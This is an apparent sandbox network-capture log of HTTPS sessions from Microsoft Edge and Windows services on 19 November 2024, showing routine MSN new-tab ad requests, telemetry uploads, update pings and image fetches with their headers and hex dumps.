Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.8	49815	20.75.60.91	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:47 UTC	1000	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=2346E46F5BBE6A5B0188F1535AD96B1F&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-5438092865908489856&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=bfc2b412523d4d0395c8ba2027b30aaa HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=2346E46F5BBE6A5B0188F1535AD96B1F; _EDGE_S=F=1&SID=22A5BD0C5BC565811192A8305A3764C4; _EDGE_V=1
2024-11-19 17:00:48 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2731 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132713-T700343879-C128000000002113509+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002113509+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Tue, 19 Nov 2024 17:00:47 GMT Connection: close
2024-11-19 17:00:48 UTC	2731	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 43 7a 65 63 68 20 52 65 70 75 62 6c 69 63 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 43 7a 65 63 68 2b 77 69 6e 65 26 66 69 6c 74 65 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Czech Republic\",\"cta\":\"https:\/\/www.bing.com\/search?q=Czech+wine&filte

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.8	49825	52.168.117.168	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:48 UTC	1044	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732035646760&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 11435 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=2346E46F5BBE6A5B0188F1535AD96B1F; _EDGE_S=F=1&SID=22A5BD0C5BC565811192A8305A3764C4; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-19 17:00:48 UTC	11435	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 39 54 31 37 3a 30 30 3a 34 36 2e 37 35 38 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 32 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 34 62 35 37 37 34 35 64 2d 63 33 62 64 2d 34 30 38 61 2d 39 61 61 64 2d 32 63 66 35 62 66 65 36 62 35 35 65 22 2c 22 65 70 6f 63 68 22 3a 22 32 34 31 37 37 34 31 39 30 38 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-19T17:00:46.758Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":2,"installId":"4b57745d-c3bd-408a-9aad-2cf5bfe6b55e","epoch":"2417741908"},"app":{"locale
2024-11-19 17:00:48 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=8257b05ba6a14061a15c9086c9171568&HASH=8257&LV=202411&V=4&LU=1732035648544; Domain=.microsoft.com; Expires=Wed, 19 Nov 2025 17:00:48 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=5a988282bbb147919fef24bea4026e35; Domain=.microsoft.com; Expires=Tue, 19 Nov 2024 17:30:48 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1784 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 19 Nov 2024 17:00:47 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.8	49826	52.168.117.168	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:48 UTC	1043	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732035646763&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5031 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=2346E46F5BBE6A5B0188F1535AD96B1F; _EDGE_S=F=1&SID=22A5BD0C5BC565811192A8305A3764C4; _EDGE_V=1; _C_ETH=1; msnup=
2024-11-19 17:00:48 UTC	5031	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 39 54 31 37 3a 30 30 3a 34 36 2e 37 36 32 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 33 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 34 62 35 37 37 34 35 64 2d 63 33 62 64 2d 34 30 38 61 2d 39 61 61 64 2d 32 63 66 35 62 66 65 36 62 35 35 65 22 2c 22 65 70 6f 63 68 22 3a 22 32 34 31 37 37 34 31 39 30 38 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-19T17:00:46.762Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":3,"installId":"4b57745d-c3bd-408a-9aad-2cf5bfe6b55e","epoch":"2417741908"},"app":{"locale
2024-11-19 17:00:48 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=5c3e6072d1f2412e9af4bea580946639&HASH=5c3e&LV=202411&V=4&LU=1732035648583; Domain=.microsoft.com; Expires=Wed, 19 Nov 2025 17:00:48 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=c1fda7ca6a9546b4a2e732ac85f01a09; Domain=.microsoft.com; Expires=Tue, 19 Nov 2024 17:30:48 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1820 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 19 Nov 2024 17:00:48 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.8	49827	20.110.205.119	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:48 UTC	1279	OUT	GET /c.gif?rnd=1732035645028&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=2f82dda8d69843fbbab3ebbd3fefaf5b&activityId=2f82dda8d69843fbbab3ebbd3fefaf5b&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=54C6DB1DE9BC449EBCDB7DC6FE4E37E3&MUID=2346E46F5BBE6A5B0188F1535AD96B1F HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=2346E46F5BBE6A5B0188F1535AD96B1F; _EDGE_S=F=1&SID=22A5BD0C5BC565811192A8305A3764C4; _EDGE_V=1; SM=T; _C_ETH=1; msnup=
2024-11-19 17:00:48 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=2346E46F5BBE6A5B0188F1535AD96B1F; domain=.msn.com; expires=Sun, 14-Dec-2025 17:00:48 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=2346E46F5BBE6A5B0188F1535AD96B1F; domain=c.msn.com; expires=Sun, 14-Dec-2025 17:00:48 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Tue, 26-Nov-2024 17:00:48 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Tue, 19-Nov-2024 17:10:48 GMT; path=/; SameSite=None; Secure; Date: Tue, 19 Nov 2024 17:00:48 GMT Connection: close Content-Length: 42
2024-11-19 17:00:48 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.8	49828	52.168.117.168	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:49 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732035647396&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 5281 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=2346E46F5BBE6A5B0188F1535AD96B1F; _EDGE_S=F=1&SID=22A5BD0C5BC565811192A8305A3764C4; _EDGE_V=1; msnup=
2024-11-19 17:00:49 UTC	5281	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 39 54 31 37 3a 30 30 3a 34 37 2e 33 39 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 34 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 34 62 35 37 37 34 35 64 2d 63 33 62 64 2d 34 30 38 61 2d 39 61 61 64 2d 32 63 66 35 62 66 65 36 62 35 35 65 22 2c 22 65 70 6f 63 68 22 3a 22 32 34 31 37 37 34 31 39 30 38 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-11-19T17:00:47.395Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":4,"installId":"4b57745d-c3bd-408a-9aad-2cf5bfe6b55e","epoch":"2417741908"},"app":{"locale
2024-11-19 17:00:49 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=a4baf92c3786402da287bd8b0e505afd&HASH=a4ba&LV=202411&V=4&LU=1732035649181; Domain=.microsoft.com; Expires=Wed, 19 Nov 2025 17:00:49 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=d72bab0747bf4838b7d133672c76464a; Domain=.microsoft.com; Expires=Tue, 19 Nov 2024 17:30:49 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1785 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 19 Nov 2024 17:00:48 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.8	49829	52.168.117.168	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:49 UTC	1033	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732035647757&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 9653 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=2346E46F5BBE6A5B0188F1535AD96B1F; _EDGE_S=F=1&SID=22A5BD0C5BC565811192A8305A3764C4; _EDGE_V=1; msnup=
2024-11-19 17:00:49 UTC	9653	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 43 6f 6e 74 65 6e 74 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 31 39 54 31 37 3a 30 30 3a 34 37 2e 37 35 36 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 35 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 34 62 35 37 37 34 35 64 2d 63 33 62 64 2d 34 30 38 61 2d 39 61 61 64 2d 32 63 66 35 62 66 65 36 62 35 35 65 22 2c 22 65 70 6f 63 68 22 3a 22 32 34 31 37 37 34 31 39 30 38 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 Data Ascii: {"name":"MS.News.Web.ContentView","time":"2024-11-19T17:00:47.756Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":5,"installId":"4b57745d-c3bd-408a-9aad-2cf5bfe6b55e","epoch":"2417741908"},"app":{"loc
2024-11-19 17:00:49 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=a12a3d3e50914a0b913930a2abe774ba&HASH=a12a&LV=202411&V=4&LU=1732035649528; Domain=.microsoft.com; Expires=Wed, 19 Nov 2025 17:00:49 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=8206b18c654c4ef98e02f56b12e796b3; Domain=.microsoft.com; Expires=Tue, 19 Nov 2024 17:30:49 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1771 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 19 Nov 2024 17:00:48 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.8	62268	13.85.23.206	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:50 UTC	142	OUT	GET /clientwebservice/ping HTTP/1.1 Connection: Keep-Alive User-Agent: DNS resiliency checker/1.0 Host: fe3cr.delivery.mp.microsoft.com
2024-11-19 17:00:50 UTC	234	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Expires: -1 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET X-Content-Type-Options: nosniff Date: Tue, 19 Nov 2024 17:00:50 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.8	62270	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:52 UTC	124	OUT	GET /sls/ping HTTP/1.1 Connection: Keep-Alive User-Agent: DNS resiliency checker/1.0 Host: slscr.update.microsoft.com
2024-11-19 17:00:52 UTC	318	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Expires: -1 MS-CV: HC6orki2mE60O+n1.0 MS-RequestId: 9cf66571-ede3-404a-a658-433ad032f1e7 MS-CorrelationId: fcd2d0dc-c714-42a6-b212-196781c71433 X-Content-Type-Options: nosniff Date: Tue, 19 Nov 2024 17:00:52 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.8	62271	104.117.182.25	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:52 UTC	506	OUT	GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 17:00:52 UTC	547	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 01 Nov 2024 15:43:48 GMT X-Source-Length: 822 X-Datacenter: eastus X-ActivityId: 8573cc25-f04b-4276-9d05-cb327393d12e Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=427359 Expires: Sun, 24 Nov 2024 15:43:31 GMT Date: Tue, 19 Nov 2024 17:00:52 GMT Connection: close
2024-11-19 17:00:52 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.8	62273	104.117.182.25	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:53 UTC	506	OUT	GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 17:00:53 UTC	550	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 01 Nov 2024 15:19:08 GMT X-Source-Length: 17955 X-Datacenter: northeu X-ActivityId: d2440427-50e1-4b1e-9511-bbaa45a53b32 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 8192 Cache-Control: public, max-age=426186 Expires: Sun, 24 Nov 2024 15:23:59 GMT Date: Tue, 19 Nov 2024 17:00:53 GMT Connection: close
